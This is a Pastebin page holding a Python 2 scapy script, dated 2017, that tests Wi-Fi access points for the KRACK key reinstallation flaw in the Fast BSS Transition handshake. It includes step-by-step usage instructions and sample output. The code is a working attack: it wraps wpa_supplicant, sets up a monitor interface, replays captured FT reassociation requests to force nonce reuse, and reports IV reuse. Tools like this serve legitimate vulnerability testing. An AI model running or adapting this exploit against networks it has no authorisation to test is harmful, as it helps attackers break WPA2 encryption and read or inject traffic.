daily pastebin goal
21%
SHARE
TWEET

krack

a guest Oct 16th, 2017 15,889 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python2
  2. import logging
  3. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  4. from scapy.all import *
  5. import sys, socket, struct, time, subprocess, atexit, select
  6. from datetime import datetime
  7.  
  8. IEEE_TLV_TYPE_RSN = 48
  9. IEEE_TLV_TYPE_FT  = 55
  10.  
  11. IEEE80211_RADIOTAP_RATE = (1 << 2)
  12. IEEE80211_RADIOTAP_CHANNEL = (1 << 3)
  13. IEEE80211_RADIOTAP_TX_FLAGS = (1 << 15)
  14. IEEE80211_RADIOTAP_DATA_RETRIES = (1 << 17)
  15.  
  16. USAGE = """{name} - Tool to test Key Reinstallation Attacks against an AP
  17.  
  18. To test wheter an AP is vulnerable to a Key Reinstallation Attack against
  19. the Fast BSS Transition (FT) handshake, execute the following steps:
  20.  
  21. 1. Create a wpa_supplicant configuration file that can be used to connect
  22.    to the network. A basic example is:
  23.  
  24.       ctrl_interface=/var/run/wpa_supplicant
  25.       network={{
  26.           ssid="testnet"
  27.           key_mgmt=FT-PSK
  28.           psk="password"
  29.       }}
  30.  
  31.    Note the use of "FT-PSK". Save it as network.conf or similar. For more
  32.    info see https://w1.fi/cgit/hostap/plain/wpa_supplicant/wpa_supplicant.conf
  33.  
  34. 2. Try to connect to the network using your platform's wpa_supplicant.
  35.    This will likely require a command such as:
  36.  
  37.       sudo wpa_supplicant -D nl80211 -i wlan0 -c network.conf
  38.  
  39.    If this fails, either the AP does not support FT, or you provided the wrong
  40.    network configuration options in step 1.
  41.  
  42. 3. Use this script as a wrapper over the previous wpa_supplicant command:
  43.  
  44.       sudo {name} wpa_supplicant -D nl80211 -i wlan0 -c network.conf
  45.  
  46.    This will execute the wpa_supplicant command using the provided parameters,
  47.    and will add a virtual monitor interface that will perform attack tests.
  48.  
  49. 4. Use wpa_cli to roam to a different AP of the same network. For example:
  50.  
  51.       sudo wpa_cli
  52.       > status
  53.       bssid=c4:e9:84:db:fb:7b
  54.       ssid=testnet
  55.       ...
  56.       > scan_results
  57.       bssid / frequency / signal level / flags / ssid
  58.       c4:e9:84:db:fb:7b 2412  -21  [WPA2-PSK+FT/PSK-CCMP][ESS] testnet
  59.       c4:e9:84:1d:a5:bc 2412  -31  [WPA2-PSK+FT/PSK-CCMP][ESS] testnet
  60.       ...
  61.       > roam c4:e9:84:1d:a5:bc
  62.       ...
  63.    
  64.    In this example we were connected to AP c4:e9:84:db:fb:7b of testnet (see
  65.    status command). The scan_results command shows this network also has a
  66.    second AP with MAC c4:e9:84:1d:a5:bc. We then roam to this second AP.
  67.  
  68. 5. Generate traffic between the AP and client. For example:
  69.  
  70.       sudo arping -I wlan0 192.168.1.10
  71.  
  72. 6. Now look at the output of {name} to see if the AP is vulnerable.
  73.  
  74.    6a. First it should say "Detected FT reassociation frame". Then it will
  75.        start replaying this frame to try the attack.
  76.    6b. The script shows which IVs the AP is using when sending data frames.
  77.    6c. Message "IV reuse detected (IV=X, seq=Y). AP is vulnerable!" means
  78.        we confirmed it's vulnerable.
  79.  
  80.    Example output of vulnerable AP:
  81.       [15:59:24] Replaying Reassociation Request
  82.       [15:59:25] AP transmitted data using IV=1 (seq=0)
  83.       [15:59:25] Replaying Reassociation Request
  84.       [15:59:26] AP transmitted data using IV=1 (seq=0)
  85.       [15:59:26] IV reuse detected (IV=1, seq=0). AP is vulnerable!
  86.  
  87.    Example output of patched AP (note that IVs are never reused):
  88.       [16:00:49] Replaying Reassociation Request
  89.       [16:00:49] AP transmitted data using IV=1 (seq=0)
  90.       [16:00:50] AP transmitted data using IV=2 (seq=1)
  91.       [16:00:50] Replaying Reassociation Request
  92.       [16:00:51] AP transmitted data using IV=3 (seq=2)
  93.       [16:00:51] Replaying Reassociation Request
  94.       [16:00:52] AP transmitted data using IV=4 (seq=3)
  95. """
  96.  
  97. #### Basic output and logging functionality ####
  98.  
  99. ALL, DEBUG, INFO, STATUS, WARNING, ERROR = range(6)
  100. COLORCODES = { "gray"  : "\033[0;37m",
  101.                "green" : "\033[0;32m",
  102.                "orange": "\033[0;33m",
  103.                "red"   : "\033[0;31m" }
  104.  
  105. global_log_level = INFO
  106. def log(level, msg, color=None, showtime=True):
  107.     if level < global_log_level: return
  108.     if level == DEBUG   and color is None: color="gray"
  109.     if level == WARNING and color is None: color="orange"
  110.     if level == ERROR   and color is None: color="red"
  111.     print (datetime.now().strftime('[%H:%M:%S] ') if showtime else " "*11) + COLORCODES.get(color, "") + msg + "\033[1;0m"
  112.  
  113.  
  114. #### Packet Processing Functions ####
  115.  
  116. class MitmSocket(L2Socket):
  117.     def __init__(self, **kwargs):
  118.         super(MitmSocket, self).__init__(**kwargs)
  119.  
  120.     def send(self, p):
  121.         # Hack: set the More Data flag so we can detect injected frames
  122.         p[Dot11].FCfield |= 0x20
  123.         L2Socket.send(self, RadioTap()/p)
  124.  
  125.     def _strip_fcs(self, p):
  126.         # Scapy can't handle FCS field automatically
  127.         if p[RadioTap].present & 2 != 0:
  128.             rawframe = str(p[RadioTap])
  129.             pos = 8
  130.             while ord(rawframe[pos - 1]) & 0x80 != 0: pos += 4
  131.        
  132.             # If the TSFT field is present, it must be 8-bytes aligned
  133.             if p[RadioTap].present & 1 != 0:
  134.                 pos += (8 - (pos % 8))
  135.                 pos += 8
  136.  
  137.             # Remove FCS if present
  138.             if ord(rawframe[pos]) & 0x10 != 0:
  139.                 return Dot11(str(p[Dot11])[:-4])
  140.  
  141.         return p[Dot11]
  142.  
  143.     def recv(self, x=MTU):
  144.         p = L2Socket.recv(self, x)
  145.         if p == None or not Dot11 in p: return None
  146.  
  147.         # Hack: ignore frames that we just injected and are echoed back by the kernel
  148.         if p[Dot11].FCfield & 0x20 != 0:
  149.             return None
  150.  
  151.         # Strip the FCS if present, and drop the RadioTap header
  152.         return self._strip_fcs(p)
  153.  
  154.     def close(self):
  155.         super(MitmSocket, self).close()
  156.  
  157. def dot11_get_seqnum(p):
  158.     return p[Dot11].SC >> 4
  159.  
  160. def dot11_get_iv(p):
  161.     """Scapy can't handle Extended IVs, so do this properly ourselves"""
  162.     if Dot11WEP not in p:
  163.         log(ERROR, "INTERNAL ERROR: Requested IV of plaintext frame")
  164.         return 0
  165.  
  166.     wep = p[Dot11WEP]
  167.     if wep.keyid & 32:
  168.         return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (struct.unpack(">I", wep.wepdata[:4])[0] << 16)
  169.     else:
  170.         return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (ord(wep.iv[2]) << 16)
  171.  
  172. def get_tlv_value(p, type):
  173.     if not Dot11Elt in p: return None
  174.     el = p[Dot11Elt]
  175.     while isinstance(el, Dot11Elt):
  176.         if el.ID == type:
  177.             return el.info
  178.         el = el.payload
  179.     return None
  180.  
  181.  
  182. #### Man-in-the-middle Code ####
  183.  
  184. class KRAckAttackFt():
  185.     def __init__(self, interface):
  186.         self.nic_iface = interface
  187.         self.nic_mon = interface + "mon"
  188.         self.clientmac = scapy.arch.get_if_hwaddr(interface)
  189.  
  190.         self.sock  = None
  191.         self.wpasupp = None
  192.         self.reassoc = None
  193.         self.ivs = set()
  194.         self.next_replay = None
  195.  
  196.     def handle_rx(self):
  197.         p = self.sock.recv()
  198.         if p == None: return
  199.  
  200.         if p.addr2 == self.clientmac and Dot11ReassoReq in p:
  201.             if get_tlv_value(p, IEEE_TLV_TYPE_RSN) and get_tlv_value(p, IEEE_TLV_TYPE_FT):
  202.                 log(INFO, "Detected FT reassociation frame")
  203.                 self.reassoc = p
  204.                 self.next_replay = time.time() + 1
  205.             else:
  206.                 log(INFO, "Reassociation frame does not appear to be an FT one")
  207.                 self.reassoc = None
  208.             self.ivs = set()
  209.  
  210.         elif p.addr2 == self.clientmac and Dot11AssoReq in p:
  211.             log(INFO, "Detected normal association frame")
  212.             self.reassoc = None
  213.             self.ivs = set()
  214.  
  215.         elif p.addr1 == self.clientmac and Dot11WEP in p:
  216.             iv = dot11_get_iv(p)
  217.             log(INFO, "AP transmitted data using IV=%d (seq=%d)" % (iv, dot11_get_seqnum(p)))
  218.             if iv in self.ivs:
  219.                 log(INFO, ("IV reuse detected (IV=%d, seq=%d). " +
  220.                     "AP is vulnerable!.") % (iv, dot11_get_seqnum(p)), color="green")
  221.             self.ivs.add(iv)
  222.  
  223.     def configure_interfaces(self):
  224.         log(STATUS, "Note: disable Wi-Fi in your network manager so it doesn't interfere with this script")
  225.  
  226.         # 1. Remove unused virtual interfaces to start from clean state
  227.         subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
  228.  
  229.         # 2. Configure monitor mode on interfaces
  230.         subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])
  231.         # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
  232.         # sequence of commands to assure the virtual interface is registered as a 802.11 monitor interface.
  233.         subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
  234.         time.sleep(0.5)
  235.         subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
  236.         subprocess.check_output(["ifconfig", self.nic_mon, "up"])
  237.  
  238.     def run(self):
  239.         self.configure_interfaces()
  240.  
  241.         # Make sure to use a recent backports driver package so we can indeed
  242.         # capture and inject packets in monitor mode.
  243.         self.sock = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
  244.  
  245.         # Set up a rouge AP that clones the target network (don't use tempfile - it can be useful to manually use the generated config)
  246.         self.wpasupp = subprocess.Popen(sys.argv[1:])
  247.  
  248.         # Continue attack by monitoring both channels and performing needed actions
  249.         while True:
  250.             sel = select.select([self.sock], [], [], 1)
  251.             if self.sock in sel[0]: self.handle_rx()
  252.  
  253.             if self.reassoc and time.time() > self.next_replay:
  254.                 log(INFO, "Replaying Reassociation Request")
  255.                 self.sock.send(self.reassoc)
  256.                 self.next_replay = time.time() + 1
  257.  
  258.     def stop(self):
  259.         log(STATUS, "Closing hostapd and cleaning up ...")
  260.         if self.wpasupp:
  261.             self.wpasupp.terminate()
  262.             self.wpasupp.wait()
  263.         if self.sock: self.sock.close()
  264.  
  265.  
  266. def cleanup():
  267.     attack.stop()
  268.  
  269. def argv_get_interface():
  270.     for i in range(len(sys.argv)):
  271.         if not sys.argv[i].startswith("-i"):
  272.             continue
  273.         if len(sys.argv[i]) > 2:
  274.             return sys.argv[i][2:]
  275.         else:
  276.             return sys.argv[i + 1]
  277.  
  278.     return None
  279.  
  280. if __name__ == "__main__":
  281.     if len(sys.argv) <= 1 or "--help" in sys.argv or "-h" in sys.argv:
  282.         print USAGE.format(name=sys.argv[0])
  283.         quit(1)
  284.  
  285.     interface = argv_get_interface()
  286.     if not interface:
  287.         log(ERROR, "Failed to determine interface. Specify one using -i parameter.")
  288.         quit(1)
  289.  
  290.     attack = KRAckAttackFt(interface)
  291.     atexit.register(cleanup)
  292.     attack.run()
RAW Paste Data
Top